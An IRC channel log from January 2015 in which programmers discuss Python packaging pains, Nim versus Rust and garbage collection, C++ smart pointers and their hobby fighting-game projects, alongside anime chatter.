[2015-01-24T14:51:39-0500] <+hardmath123> if it's setup.py, you now have no means of uninstalling the package aside from combing a dozen directories and manually deleting stuff
[2015-01-24T14:52:12-0500] <+hardmath123> the StackOverflow accepted solution to this is that you run setup.py with an option to print out all written files, and then to uninstall, PIPE IT TO XARGS RM -RF
[2015-01-24T14:52:43-0500] <+hardmath123> if it's pip, chances are that it completely ignored certain command-line arguments without telling you
[2015-01-24T14:53:04-0500] <+hardmath123> or complains that an argument is invalid even though it's documented as valid
[2015-01-24T14:54:11-0500] <+hardmath123> and even if *that* worked, you need to be simultaneously aware of hundreds of caveats. like, #! lines are parsed in each file and replaced with a different one "automatically"
[2015-01-24T14:55:07-0500] <+hardmath123> oh, and do you know how you specify a file to be installed as a command-line tool? as a string of the form "name = a.b.c:entry_point"
[2015-01-24T14:56:00-0500] <+hardmath123> setuptools *parses* this and then, instead of just symlinking your cli tool, generates a *new* script whose sole purpose in life is to run a.b.c:entry_point
[2015-01-24T14:57:05-0500] <+hardmath123> and in doing so generates a logfile of a couple of megabytes
[2015-01-24T14:57:24-0500] <+hardmath123> alokpathy: you *did* say you wanted details :P
[2015-01-24T14:59:31-0500] <alokpathy> I walked away from a few minutes, came back, and saw hardmath123 all over my screen.
[2015-01-24T14:59:43-0500] <alokpathy> LittleBobbyTables: Welcome back :P
[2015-01-24T15:00:16-0500] <alokpathy> hardmath123: Though that does seem pretty terrible
[2015-01-24T15:01:53-0500] <Tamini_> lol
[2015-01-24T15:21:04-0500] <alokpathy> Lol the man page for sl
[2015-01-24T15:22:52-0500] <+Tamini> lol
[2015-01-24T15:23:17-0500] <alokpathy> Tamini: You lol a lot :P
[2015-01-24T15:23:23-0500] <+Tamini> i do
[2015-01-24T15:23:36-0500] <+Tamini> i am easily amused
[2015-01-24T15:26:31-0500] <+JacobEdelman> hardmath123: we had to deal with module stuffs in python at pennapps
[2015-01-24T15:26:45-0500] <+JacobEdelman> hardmath123: (had to use a python file that was not in the same directory...)
[2015-01-24T15:28:29-0500] <@awe> [14:44:38]  <+hardmath123>	alokpathy: surprsingly, no. i just tried to write nontrivial software in it and died.
[2015-01-24T15:28:34-0500] <@awe> hardmath123: this is all it takes, my friend.
[2015-01-24T15:28:41-0500] <@awe> hardmath123: It's not without reason that I hate Python.
[2015-01-24T15:31:04-0500] <@awe> hardmath123: Python presents a horrible environment for writing software.
[2015-01-24T15:31:16-0500] <@awe> Tamini: true story
[2015-01-24T15:32:45-0500] <+Tamini> awe: hm?
[2015-01-24T15:32:50-0500] <+Tamini> oh
[2015-01-24T15:32:52-0500] <+Tamini> well, yeah
[2015-01-24T16:17:05-0500] <alokpathy> =So guys
[2015-01-24T16:27:18-0500] <@awe> =So alokpathy 
[2015-01-24T16:28:01-0500] <alokpathy> =How have your lives been for the past hour?
[2015-01-24T16:31:13-0500] Mode is +nst
[2015-01-24T16:31:16-0500] <+hardmath123> awe: people say "mailbot should send queued messages if the recipient joins channel"
[2015-01-24T16:31:36-0500] <@awe> I've had bots like that.
[2015-01-24T16:31:37-0500] <@awe> I disagree.
[2015-01-24T16:31:56-0500] <@awe> The reason being: people join automatically.
[2015-01-24T16:34:14-0500] <+hardmath123> ah
[2015-01-24T16:34:30-0500] <+hardmath123> that's a good point
[2015-01-24T16:36:36-0500] <@awe> It sounds like it'd be nice in theory, but in practice, people end up missing a great deal of the messages that are sent to them.
[2015-01-24T16:37:20-0500] <@awe> I'm not nearly as crazy as all of you think.
[2015-01-24T16:38:23-0500] <+hardmath123> I, on the other hand, am.
[2015-01-24T16:38:25-0500] <+hardmath123> ls tests | xargs -L 1 sh -c "echo \"Testing \$0...\"; cat tests/\$0 | racket type.rkt"
[2015-01-24T16:38:55-0500] <@awe> Lol.
[2015-01-24T16:38:56-0500] <@awe> Beautiful.
[2015-01-24T17:07:56-0500] <ubuntor> whee nostalgia
[2015-01-24T17:13:30-0500] <@awe> Wow, fixing old code that I haven't really worked on is hard.
[2015-01-24T17:14:31-0500] <alokpathy> Yes :P
[2015-01-24T17:14:36-0500] <+JacobEdelman> nim is hard
[2015-01-24T17:14:36-0500] <alokpathy> That feel.
[2015-01-24T17:15:06-0500] <+JacobEdelman> I understand why you believe the speed that rust gives you over python is so important
[2015-01-24T17:15:24-0500] <+JacobEdelman> cause thats the only way I can justify spending this much effort to code in nim
[2015-01-24T17:15:27-0500] <@awe> A lot of stabilization changes to the display code has made some stuff that I wrote a long time ago very weird.
[2015-01-24T17:15:34-0500] <@awe> JacobEdelman: Use Rust instead of Nim?
[2015-01-24T17:15:49-0500] <+JacobEdelman> awe: nim is like python
[2015-01-24T17:15:52-0500] <+JacobEdelman> awe: easier to understand
[2015-01-24T17:15:59-0500] <@awe> Significant whitespace is NOT good.
[2015-01-24T17:17:17-0500] <+JacobEdelman> its pretty
[2015-01-24T17:17:20-0500] <+JacobEdelman> and easy to use
[2015-01-24T17:17:24-0500] <@awe> Not really.
[2015-01-24T17:17:29-0500] <+JacobEdelman> (although yeah, I don't love it)
[2015-01-24T17:17:30-0500] <@awe> It's really hard to use when there's multiple people involved.
[2015-01-24T17:17:36-0500] <+JacobEdelman> awe: good thing there isn't!
[2015-01-24T17:17:45-0500] <@awe> The only reason I'm okay with it in Haskell is because it exclusively applies to do notation.
[2015-01-24T17:17:57-0500] <+JacobEdelman> awe: try nim!
[2015-01-24T17:18:02-0500] <@awe> No?
[2015-01-24T17:18:04-0500] <+JacobEdelman> awe: I've heard its even faster than rust!
[2015-01-24T17:18:07-0500] <@awe> It doesn't meet any need that I have.
[2015-01-24T17:18:15-0500] <@awe> According to some benchmarks, it's faster than Rust.
[2015-01-24T17:18:21-0500] <@awe> It's also more established than Rust.
[2015-01-24T17:18:24-0500] <+JacobEdelman> awe: coding a web server in nim won't take forever!
[2015-01-24T17:18:33-0500] <@awe> It doesn't take forever in Rust either.
[2015-01-24T17:18:35-0500] <+JacobEdelman> awe: wait, its more established?
[2015-01-24T17:18:38-0500] <@awe> Yes?
[2015-01-24T17:18:43-0500] <+JacobEdelman> awe: who uses it?
[2015-01-24T17:18:50-0500] <@awe> Nobody.
[2015-01-24T17:18:54-0500] <@awe> I meant it's older.
[2015-01-24T17:19:06-0500] <@awe> There's been more time spent making it fast.
[2015-01-24T17:21:53-0500] <@awe> "Native code generation (currently via compilation to C), not dependent on a virtual machine"
[2015-01-24T17:21:54-0500] <@awe> Wow.
[2015-01-24T17:21:57-0500] <@awe> Nim doesn't use LLVM.
[2015-01-24T17:22:08-0500] <@awe> "A fast non-tracing garbage collector that supports soft real-time systems (like games)."
[2015-01-24T17:22:13-0500] <@awe> JacobEdelman: nevermind, Nim is definitely slower.
[2015-01-24T17:22:20-0500] <+JacobEdelman> what???
[2015-01-24T17:22:21-0500] <+JacobEdelman> no!
[2015-01-24T17:22:24-0500] <@awe> JacobEdelman: the only reason it's faster in the benchmarks I've seen is because they're micro-benchmarks.
[2015-01-24T17:22:25-0500] <@awe> Yes.
[2015-01-24T17:22:27-0500] <@awe> GC is slow.
[2015-01-24T17:22:29-0500] <+JacobEdelman> no!
[2015-01-24T17:22:35-0500] <+JacobEdelman> you're making assumptions!
[2015-01-24T17:22:42-0500] <+JacobEdelman> give me hard data!
[2015-01-24T17:22:48-0500] <@awe> I'm not making assumptions. You cannot GC fast.
[2015-01-24T17:24:03-0500] <+JacobEdelman> ...
[2015-01-24T17:24:44-0500] <@awe> I wasn't going to use Nim anyway because I have essentially no pain points between Haskell and Rust.
[2015-01-24T17:25:13-0500] <@awe> But yeah, I'd rather just not have a GC.
[2015-01-24T17:25:47-0500] <@awe> The Nim syntax is also gnarly looking.
[2015-01-24T17:26:19-0500] <+hardmath123> Haskell doesn't have a GC? I thought it did.
[2015-01-24T17:26:27-0500] <@awe> Haskell does.
[2015-01-24T17:26:35-0500] <+hardmath123> Whew, I was worried for a moment.
[2015-01-24T17:26:37-0500] <@awe> But Nim would be looking to replace Rust in my life, not Haskell.
[2015-01-24T17:32:58-0500] <@awe> JacobEdelman: plus, Rust is going to have way greater adoptoin.
[2015-01-24T17:33:00-0500] <@awe> adoption* 
[2015-01-24T17:34:04-0500] <@awe> JacobEdelman: Mozilla > this one guy
[2015-01-24T17:50:48-0500] <alokpathy> FIFA beginner mode: win 12-0
[2015-01-24T17:50:52-0500] <alokpathy> FIFA intermediate mode: lose 7-0
[2015-01-24T18:00:34-0500] <+JacobEdelman> awe: that may be true
[2015-01-24T18:03:19-0500] <@awe> I'm pretty sure Rust already has greater adoption.
[2015-01-24T18:06:04-0500] <bob_twinkles> A friend and I looked in to Nim on friday actually
[2015-01-24T18:06:23-0500] <bob_twinkles> it does some interesting things, but it's also got some big problems
[2015-01-24T18:06:33-0500] <@awe> Care to elaborate?
[2015-01-24T18:06:36-0500] <bob_twinkles> the largest of which is that it has essentially 0 debugging capabilities
[2015-01-24T18:07:07-0500] <@awe> Why's that?
[2015-01-24T18:07:20-0500] <bob_twinkles> because of the way it compiles (i.e. via C) I don't think it generates good DWARF information
[2015-01-24T18:07:28-0500] <bob_twinkles> so GDB just sees a C binary, not a Nim one
[2015-01-24T18:07:38-0500] <@awe> Ah.
[2015-01-24T18:07:48-0500] <@awe> Yeah, that is a distinct disadvantage to writing your own native codegen.
[2015-01-24T18:08:24-0500] <bob_twinkles> the parallel/disjoint checker is pretty neat though
[2015-01-24T18:08:52-0500] <bob_twinkles> and its DSL capabilities seem pretty strong
[2015-01-24T18:08:59-0500] <@awe> You can do that in Rust though.
[2015-01-24T18:09:13-0500] <@awe> The syntax is a little different, obviously.
[2015-01-24T18:09:20-0500] <bob_twinkles> but there isn't anything there that isn't done better somewhere else
[2015-01-24T18:09:21-0500] <@awe> in Rust, you'd do: dsl! { }
[2015-01-24T18:09:26-0500] <@awe> instead of dsl:
[2015-01-24T18:09:57-0500] <@awe> What does the parallel/disjoint checker do?
[2015-01-24T18:11:33-0500] <bob_twinkles> it allows you to declare blocks of code as parallel: and then you can spawn(worker_function(input[i]))
[2015-01-24T18:12:24-0500] <@awe> Haskell can do that.
[2015-01-24T18:12:55-0500] <@awe> I'd imagine that can be done with Rust macros.
[2015-01-24T18:13:14-0500] <bob_twinkles> it also tries to prove that ever loop iteration is "disjoint" i.e. it only depends on a unique subset of the input elements
[2015-01-24T18:13:29-0500] <bob_twinkles> I was having difficulty figuring out how to phrase that XD
[2015-01-24T18:13:40-0500] <@awe> What does it use that for?
[2015-01-24T18:14:44-0500] <bob_twinkles> allows the compiler to generate better parallel code apparently
[2015-01-24T18:15:14-0500] <@awe> I guess it could auto-parallelize loops if that was the case.
[2015-01-24T18:15:34-0500] <bob_twinkles> yeah
[2015-01-24T18:15:51-0500] <@awe> That's interesting.
[2015-01-24T18:15:53-0500] <bob_twinkles> the big thing you get is lock-free code
[2015-01-24T18:17:19-0500] <@awe> And the GC is thread local.
[2015-01-24T18:18:04-0500] <bob_twinkles> mhm
[2015-01-24T18:18:23-0500] <bob_twinkles> which really is probably the smart way
[2015-01-24T18:18:37-0500] <bob_twinkles> GILs are a royal pain
[2015-01-24T18:19:44-0500] <@awe> Well, yeah.
[2015-01-24T18:19:49-0500] <@awe> But the better solution is to not have a GC.
[2015-01-24T18:20:44-0500] <bob_twinkles> manual memory management is also a pain
[2015-01-24T18:20:56-0500] <@awe> Forced RAII is not.
[2015-01-24T18:22:24-0500] <+JacobEdelman> Hyper: code geass, subbed or dubbed?
[2015-01-24T18:23:50-0500] <Hyper> always subbed
[2015-01-24T18:24:04-0500] <@awe> bob_twinkles: It's not like I have to think about memory any more in Rust than I would in a GC language.
[2015-01-24T18:24:24-0500] <Hyper> awe: one thing I've heard of in nim that's really nice is that you can tell the GC how long it is allowed to run (in clock time) when you call it manually
[2015-01-24T18:24:31-0500] <Hyper> which is really good for games
[2015-01-24T18:24:36-0500] <@awe> But you have to tune that.
[2015-01-24T18:24:47-0500] <Hyper> ?
[2015-01-24T18:24:51-0500] <bob_twinkles> how do you handle something like a circularly linked list in rust?
[2015-01-24T18:25:06-0500] <@awe> You'd have to figure out the optimal timing on that.
[2015-01-24T18:25:10-0500] <Hyper> "I spent x ms out of 16.666... ms available to me per frame, use the rest to GC"
[2015-01-24T18:25:21-0500] <@awe> Fair enough.
[2015-01-24T18:25:26-0500] <@awe> I guess it makes sense in the context of games.
[2015-01-24T18:25:37-0500] <Hyper> that's why I mentioned it in that context :)
[2015-01-24T18:25:40-0500] <@awe> Right.
[2015-01-24T18:25:52-0500] <@awe> It's not as clear cut in the context of something like a server though.
[2015-01-24T18:26:20-0500] <Hyper> yeah, but being able to manually decide when and for how long your GC goes is a very nice feature imo
[2015-01-24T18:26:38-0500] <+JacobEdelman> Hyper: thats what I thought
[2015-01-24T18:26:52-0500] <Hyper> JacobEdelman: also GC's voice acting in japanese is so great
[2015-01-24T18:26:55-0500] <Hyper> it's hammy as fuck
[2015-01-24T18:27:01-0500] <Hyper> but omg it's so fun to listen to
[2015-01-24T18:27:40-0500] <Hyper> JacobEdelman: https://www.youtube.com/watch?v=uF3k1gImDm0&feature=youtu.be&t=7s
[2015-01-24T18:27:40-0500] <@awe> bob_twinkles: recursive types have to be explicitly using the heap.
[2015-01-24T18:28:28-0500] <bob_twinkles> so you don't get away from manual memory management completely
[2015-01-24T18:28:46-0500] <@awe> I'll show you.
[2015-01-24T18:29:00-0500] <@awe> You're definitely right.
[2015-01-24T18:29:02-0500] <@awe> You don't avoid it entirely.
[2015-01-24T18:29:10-0500] <@awe> But the vast majority of the time, you do.
[2015-01-24T18:29:16-0500] <+JacobEdelman> Hyper: I'm at the the theme song right now and something is badly wrong
[2015-01-24T18:29:19-0500] <@awe> And even heap stuff, isn't bad.
[2015-01-24T18:29:25-0500] <Hyper> JacobEdelman: ?
[2015-01-24T18:29:46-0500] <+JacobEdelman> Hyper: based off of all the other manga and anime I have watched
[2015-01-24T18:29:54-0500] <+JacobEdelman> Hyper: arn't all japense females under 4 feet tall? :P
[2015-01-24T18:30:10-0500] <Hyper> CG people are spaghetti people
[2015-01-24T18:30:25-0500] <@awe> bob_twinkles: http://is.gd/FAOu8E
[2015-01-24T18:30:25-0500] <bob_twinkles> 's not too bad in C++11 either
[2015-01-24T18:30:27-0500] <Tamini_> what's jacob watching now!
[2015-01-24T18:30:30-0500] <bob_twinkles> std::shared_ptr everywhere!
[2015-01-24T18:30:30-0500] <Tamini_> ?*
[2015-01-24T18:30:36-0500] <Hyper> Tamini_: Code Geass :D
[2015-01-24T18:30:42-0500] <Tamini_> oh lol
[2015-01-24T18:30:47-0500] <Tamini_> its so good but
[2015-01-24T18:30:52-0500] <Hyper> hammy as fuck?
[2015-01-24T18:30:55-0500] <@awe> bob_twinkles: Your types get a little less nice, but ultimately, that's really not bad.
[2015-01-24T18:30:56-0500] <Tamini_> i find it so difficult to deal with the art
[2015-01-24T18:30:57-0500] <Hyper> DAMN RIGHT
[2015-01-24T18:31:14-0500] <bob_twinkles> rust::Option ~= haskell::Maybe right?
[2015-01-24T18:31:16-0500] <@awe> bob_twinkles: and the error messages when you do it wrong tell you outright "Yo, just throw it in a Box"
[2015-01-24T18:31:22-0500] <@awe> Yeah, Option is the Maybe monad.
[2015-01-24T18:31:29-0500] <@awe> Because nothing can be null in Rust.
[2015-01-24T18:32:07-0500] <@awe> bob_twinkles: Also, Rust could technically do automatic boxing and stuff and you'd never know the difference at all.
[2015-01-24T18:32:19-0500] <@awe> bob_twinkles: The only reason it doesn't is because they want you to think explicitly about the performance impact of doing something like that.
[2015-01-24T18:33:46-0500] <+JacobEdelman> Tamini_: what about the art?
[2015-01-24T18:33:56-0500] <Tamini_> JacobEdelman: not pretty enogh
[2015-01-24T18:34:03-0500] <bob_twinkles> what does boxing something actually do?
[2015-01-24T18:34:10-0500] <+JacobEdelman> ah, what would you reccomened?
[2015-01-24T18:34:19-0500] <Hyper> if you want the best art
[2015-01-24T18:34:20-0500] <Hyper> Fate
[2015-01-24T18:34:21-0500] <Hyper> omg
[2015-01-24T18:34:23-0500] <Hyper> fate <3
[2015-01-24T18:34:26-0500] <Tamini_> FATE
[2015-01-24T18:34:31-0500] <Hyper> FATE
[2015-01-24T18:34:42-0500] <@awe> bob_twinkles: It's a heap allocation.
[2015-01-24T18:34:47-0500] <Tamini_> favorite of the series?
[2015-01-24T18:34:52-0500] <bob_twinkles> oh, ic
[2015-01-24T18:35:06-0500] <Hyper> Tamini_: favorite character or series?
[2015-01-24T18:35:08-0500] <ubuntor> can't wait for season 2
[2015-01-24T18:35:18-0500] <Tamini_> Hyper: why not both
[2015-01-24T18:35:18-0500] <Hyper> NOBODY CAN WAIT FOR SEASON 2
[2015-01-24T18:35:21-0500] <@awe> bob_twinkles: well, it's a pointer to a heap allocation, but yeah.
[2015-01-24T18:35:24-0500] <Hyper> Tamini_: Broskander
[2015-01-24T18:35:27-0500] <bob_twinkles> so Box<T> is a smart pointer
[2015-01-24T18:35:31-0500] <@awe> Yup.
[2015-01-24T18:35:51-0500] <Tamini_> i found someone to talk anime with whoooa
[2015-01-24T18:35:59-0500] <Hyper> lol
[2015-01-24T18:36:04-0500] <@awe> Thanks to box syntax, it's rather not painful to work with too.
[2015-01-24T18:36:15-0500] <Hyper> Tamini_: http://gifsound.com/?gif=i.imgur.com/FVpeYMl.gif&v=Llf6t6KgQqY&s=05
[2015-01-24T18:36:16-0500] <Hyper> :D
[2015-01-24T18:36:18-0500] <bob_twinkles> in C++ it's not too bad either
[2015-01-24T18:36:30-0500] <@awe> Yeah, but C++ has a whole slew of other problems, too. :p
[2015-01-24T18:36:30-0500] <bob_twinkles> auto a = std::shared_ptr<the::type::of::thing>(constructor, arguments)
[2015-01-24T18:36:59-0500] <bob_twinkles> eh, true
[2015-01-24T18:37:19-0500] <@awe> Also, it's still rather long-winded in C++.
[2015-01-24T18:37:23-0500] <bob_twinkles> everything std::move related in particular
[2015-01-24T18:38:04-0500] <bob_twinkles> you can make that much shorter with something like {using std::shared_ptr; using the::type::of::thing;}
[2015-01-24T18:38:37-0500] <bob_twinkles> actually that should be std::make_shared<>, not std::shared_ptr<>
[2015-01-24T18:38:49-0500] <bob_twinkles> does rust have something like a unique_ptr?
[2015-01-24T18:39:33-0500] <Tamini_> :D
[2015-01-24T18:40:20-0500] <bob_twinkles> wait, ofc it does
[2015-01-24T18:40:24-0500] <bob_twinkles> the whole lifetimes thing
[2015-01-24T18:40:40-0500] <Hyper> Tamini_: It's weekly fuckslaine day!
[2015-01-24T18:40:52-0500] <Hyper> wooo
[2015-01-24T18:41:17-0500] <@awe> bob_twinkles: http://is.gd/RRWUjJ
[2015-01-24T18:41:54-0500] <@awe> bob_twinkles: shared_ptr<thing>(constructor, args) is still not as concise as box.
[2015-01-24T18:42:16-0500] <bob_twinkles> #define box std::make_shared
[2015-01-24T18:42:18-0500] <bob_twinkles> =P
[2015-01-24T18:42:57-0500] <bob_twinkles> hmm, actually that might not work
[2015-01-24T18:43:06-0500] <bob_twinkles> because macros are weird
[2015-01-24T18:43:53-0500] <Hyper> macros are beautiful :)
[2015-01-24T18:43:55-0500] <@awe> Macros like that present their own set of problems. :p
[2015-01-24T18:44:05-0500] <@awe> You can also do #define loop while(true)
[2015-01-24T18:44:15-0500] <@awe> But that doesn't mean that it's somehow as nice as the fact that Rust includes loop.
[2015-01-24T18:44:28-0500] <@awe> Because obviously it's not idiomatic for C++.
[2015-01-24T18:44:40-0500] <Hyper> look at this wonderful macro I wrote yesterday https://github.com/Hypersonic/FistDance/blob/master/src/core/ui.h#L21
[2015-01-24T18:44:48-0500] <Hyper> there's nothing wrong with it at all
[2015-01-24T18:44:49-0500] <Hyper> nope
[2015-01-24T18:44:51-0500] <Hyper> not a thing
[2015-01-24T18:44:58-0500] <@awe> I think I just vomitted.
[2015-01-24T18:45:45-0500] <bob_twinkles> Hyper: needs more FILE and LINE
[2015-01-24T18:45:48-0500] <Hyper> lol
[2015-01-24T18:45:55-0500] <bob_twinkles> then you can actually justify its existence
[2015-01-24T18:45:59-0500] <Hyper> this is for debug statements to be drawn on screen
[2015-01-24T18:46:02-0500] <@awe> Ypu
[2015-01-24T18:46:04-0500] <Hyper> not for log statements
[2015-01-24T18:46:06-0500] <@awe> You're making a fighting game?
[2015-01-24T18:46:08-0500] <Hyper> yep
[2015-01-24T18:46:26-0500] <Hyper> trust me I've written crazy logging macros before :)
[2015-01-24T18:46:50-0500] <@awe> Why in C++?
[2015-01-24T18:47:17-0500] <Hyper> because my friend said "As much as I'm sure D is a great language nobody is ever gonna pay me to write in it" :(
[2015-01-24T18:47:45-0500] <Hyper> and I was more interested in making a game than fighting over language semantics
[2015-01-24T18:47:58-0500] <@awe> Somebody will pay you to write in Rust someday.
[2015-01-24T18:48:04-0500] <@awe> Or maybe right now.
[2015-01-24T18:48:08-0500] <@awe> Just ask calc0000.
[2015-01-24T18:48:39-0500] <@awe> He doesn't work for Mozilla, writes in both C and Rust, and gets paid for it.
[2015-01-24T18:48:53-0500] <Hyper> there are places that use D, but it's not common enough that my friend wants to spend his time honing his skills on a language that actually gets used in game dev
[2015-01-24T18:48:56-0500] <bob_twinkles> I keep trying to write games
[2015-01-24T18:49:02-0500] <bob_twinkles> and writting game engines instead
[2015-01-24T18:49:04-0500] <@awe> He works at a large company.
[2015-01-24T18:49:09-0500] <Hyper> ok
[2015-01-24T18:49:09-0500] <@awe> A large, well-known software company.
[2015-01-24T18:49:13-0500] <Hyper> ok
[2015-01-24T18:49:26-0500] <@awe> The moral of the story is: If you're awesome enough, people will let you do whatever the fuck you want.
[2015-01-24T18:49:29-0500] <bob_twinkles> C++ is pretty much the only language used in gamedev though
[2015-01-24T18:49:44-0500] <Hyper> well it's more C in the high-performance area
[2015-01-24T18:49:46-0500] <Hyper> but yeah
[2015-01-24T18:50:03-0500] <@awe> I'm pretty sure that's going to change though.
[2015-01-24T18:50:04-0500] <Hyper> and in the end you end up writing C with some C++ conveniences like pass-by-reference
[2015-01-24T18:50:09-0500] <bob_twinkles> HPC code is usually written by researchers in that domain and usually suck
[2015-01-24T18:50:23-0500] <Hyper> bob_twinkles: I mean high performance game code
[2015-01-24T18:50:26-0500] <Hyper> rendering and stuff
[2015-01-24T18:50:47-0500] <bob_twinkles> yeah
[2015-01-24T18:50:57-0500] <Hyper> bob_twinkles: https://www.youtube.com/watch?v=rX0ItVEVjHc
[2015-01-24T18:51:25-0500] <@awe> Yeah, your code more-or-less looks like C.
[2015-01-24T18:52:21-0500] <Hyper> to be fair I like C a lot
[2015-01-24T18:53:03-0500] <Hyper> I hate curse C++ like 90% of the time :(
[2015-01-24T18:53:26-0500] <bob_twinkles> C++ takes more thinking than C does which is... probably not a good thing
[2015-01-24T18:53:34-0500] <Hyper> mmm
[2015-01-24T18:53:50-0500] <bob_twinkles> but it's a useable language
[2015-01-24T18:53:54-0500] <@awe> Also, just going to throw this out there.
[2015-01-24T18:54:00-0500] <@awe> D is cool, but you're betting on a losing horse, Hyper.
[2015-01-24T18:54:12-0500] <bob_twinkles> I suppose I should push my current project to github so you can look at my C++ =P
[2015-01-24T18:54:19-0500] <@awe> Yeah, do it, bob_twinkles.
[2015-01-24T18:54:21-0500] <Hyper> It's not really a matter of betting on any horse
[2015-01-24T18:54:30-0500] <Hyper> I just like the language better than the other.
[2015-01-24T18:54:33-0500] <Hyper> ones
[2015-01-24T18:54:49-0500] <@awe> Fair enough, I suppose.
[2015-01-24T18:55:06-0500] <Hyper> D hits many of the buttons I'm looking for in a language (compile time shenanigans, function labels, templating)
[2015-01-24T18:55:50-0500] <Hyper> Jai hits those too and looks slightly closer to my ideal language, but that hasn't been released yet
[2015-01-24T18:55:53-0500] <bob_twinkles> interestingly enough, it's actually also a fighting game =P
[2015-01-24T18:55:58-0500] <@awe> Wat?
[2015-01-24T18:55:59-0500] <@awe> Really?
[2015-01-24T18:56:01-0500] <@awe> Why are you all?
[2015-01-24T18:56:03-0500] <@awe> Wat?
[2015-01-24T18:56:04-0500] <bob_twinkles> https://github.com/bobtwinkles/battle_friesian
[2015-01-24T18:56:08-0500] <bob_twinkles> I don't know
[2015-01-24T18:56:17-0500] <Hyper> huh?
[2015-01-24T18:56:24-0500] <bob_twinkles> this one is horse themed since my cousin likes horses and is doing the art for me
[2015-01-24T18:56:24-0500] <@awe> >no source folder
[2015-01-24T18:56:30-0500] <bob_twinkles> ?
[2015-01-24T18:56:38-0500] <@awe> Main.cpp is sitting in route
[2015-01-24T18:56:40-0500] <@awe> erm
[2015-01-24T18:56:40-0500] <@awe> root
[2015-01-24T18:56:44-0500] <@awe> Why did I write route?
[2015-01-24T18:56:44-0500] <bob_twinkles> oh, I clone that into a source folder
[2015-01-24T18:56:45-0500] <@awe> I don't know.
[2015-01-24T18:56:55-0500] <bob_twinkles> and have a build folder next to it
[2015-01-24T18:56:55-0500] <Hyper> bob_twinkles: yeah this looks like C++ a lot
[2015-01-24T18:56:56-0500] <Hyper> lol
[2015-01-24T18:57:11-0500] <@awe> Oh.
[2015-01-24T18:57:13-0500] <@awe> Interesting...
[2015-01-24T18:57:16-0500] <Hyper> namespaces and inheritance and everything
[2015-01-24T18:57:18-0500] <bob_twinkles> I should probably do it not that way but lazy
[2015-01-24T18:57:23-0500] <Hyper> lol
[2015-01-24T18:57:32-0500] <@awe> I'd rather run cmake from outside the source fodler
[2015-01-24T18:57:33-0500] <@awe> folder*
[2015-01-24T18:57:42-0500] <bob_twinkles> yeah
[2015-01-24T18:57:44-0500] <bob_twinkles> cmake ../src/
[2015-01-24T18:58:09-0500] <Hyper> I'm whiny about performance so we stick to more C style stuff
[2015-01-24T18:58:36-0500] <bob_twinkles> most of the performance-senstive classes have unimplemented private copy constructors
[2015-01-24T18:58:49-0500] <Hyper> :I
[2015-01-24T18:59:05-0500] <@awe> In other words, they're singletons?
[2015-01-24T18:59:14-0500] <bob_twinkles> that's more or less the best way to make sure you don't ever write code that accidentally copies stuff =P
[2015-01-24T18:59:17-0500] <bob_twinkles> no
[2015-01-24T18:59:27-0500] <@awe> Oh, you're saying the copy constructors are private.
[2015-01-24T18:59:34-0500] <bob_twinkles> yeah
[2015-01-24T18:59:36-0500] <bob_twinkles> and operator=
[2015-01-24T18:59:41-0500] <Hyper> in other words they're terrifying
[2015-01-24T18:59:46-0500] <Hyper> bleh
[2015-01-24T18:59:59-0500] <@awe> In Rust, you just don't impl Copy.
[2015-01-24T19:00:26-0500] <bob_twinkles> why? the only classes like that pretty much just the stuff in ogl/ where copying doesn't make sense anyway
[2015-01-24T19:00:57-0500] <Hyper> I kinda hate singletons
[2015-01-24T19:00:58-0500] <bob_twinkles> since most of that stuff manages opengl objects
[2015-01-24T19:01:00-0500] <Hyper> :<
[2015-01-24T19:01:02-0500] <bob_twinkles> they aren't singletons
[2015-01-24T19:01:08-0500] <@awe> Hyper: Singletons are shit though, I agree.
[2015-01-24T19:01:11-0500] <bob_twinkles> they just can't be copied
[2015-01-24T19:01:14-0500] <Hyper> yeah
[2015-01-24T19:01:25-0500] <@awe> Global state == bad.
[2015-01-24T19:01:37-0500] <bob_twinkles> singletons are things that can only be constructed once
[2015-01-24T19:01:40-0500] <@awe> bob_twinkles: There's a lint that tells you when you're missing an impl of Copy, but the idea is that it's explicit.
[2015-01-24T19:01:58-0500] <@awe> I know what a singleton is.
[2015-01-24T19:02:13-0500] <@awe> It's usually a way to pretend you don't have global state when you do.
[2015-01-24T19:02:20-0500] <bob_twinkles> that was @hyper
[2015-01-24T19:02:23-0500] <@awe> Oh, okay.
[2015-01-24T19:02:28-0500] <Hyper> bob_twinkles: I know what a singleton is :)
[2015-01-24T19:02:35-0500] <bob_twinkles> heh, ok
[2015-01-24T19:02:40-0500] <@awe> bob_twinkles: But yeah, so, there was a time when Copy was automatically impl'd on all types that could impl it.
[2015-01-24T19:02:43-0500] <Hyper> bob_twinkles: btw, our game has hot-reloading
[2015-01-24T19:02:44-0500] <Hyper> :)
[2015-01-24T19:02:48-0500] <@awe> Hyper: I noticed that.
[2015-01-24T19:03:01-0500] <@awe> Hyper: Is there utility to that?
[2015-01-24T19:03:04-0500] <Hyper> yes
[2015-01-24T19:03:08-0500] <Hyper> tweaking constants
[2015-01-24T19:03:10-0500] <Hyper> like for gravity
[2015-01-24T19:03:14-0500] <@awe> Is there utility to that beyond that?
[2015-01-24T19:03:16-0500] <Hyper> I got the jump just how I liked it
[2015-01-24T19:03:23-0500] <bob_twinkles> heh, I should do that
[2015-01-24T19:03:27-0500] <Hyper> rapid prototyping in general
[2015-01-24T19:03:35-0500] <Hyper> bob_twinkles: it's more trouble than it's worth, realy
[2015-01-24T19:03:39-0500] <bob_twinkles> lol
[2015-01-24T19:03:41-0500] <@awe> That's what I was thinking.
[2015-01-24T19:03:50-0500] <bob_twinkles> I can see it being useful actually
[2015-01-24T19:03:53-0500] <Hyper> and if you didn't start with it any objects you allocate go away if the dll needs to be moved in memory
[2015-01-24T19:03:57-0500] <Hyper> on reload
[2015-01-24T19:04:03-0500] <Hyper> it can be a problem
[2015-01-24T19:04:25-0500] <@awe> Hot reloading with awebot has been very problematic for me. :p
[2015-01-24T19:04:28-0500] <Hyper> but it's fine if you're only tweaking code
[2015-01-24T19:04:29-0500] <bob_twinkles> well since all of my game state is encapsulated in fri::system::GameContext that shouldn't be too much of an issue
[2015-01-24T19:04:43-0500] <Hyper> bob_twinkles: do you use new anywhere?
[2015-01-24T19:04:52-0500] <bob_twinkles> pretty much no
[2015-01-24T19:04:55-0500] <bob_twinkles> everything's in shared pointers
[2015-01-24T19:04:59-0500] <Hyper> hrm
[2015-01-24T19:05:10-0500] <@awe> bob_twinkles is basically just writing Rust in C++.
[2015-01-24T19:05:13-0500] <bob_twinkles> and if you look at Main.cpp I actually delete the game context at the end
[2015-01-24T19:05:23-0500] <Hyper> neat
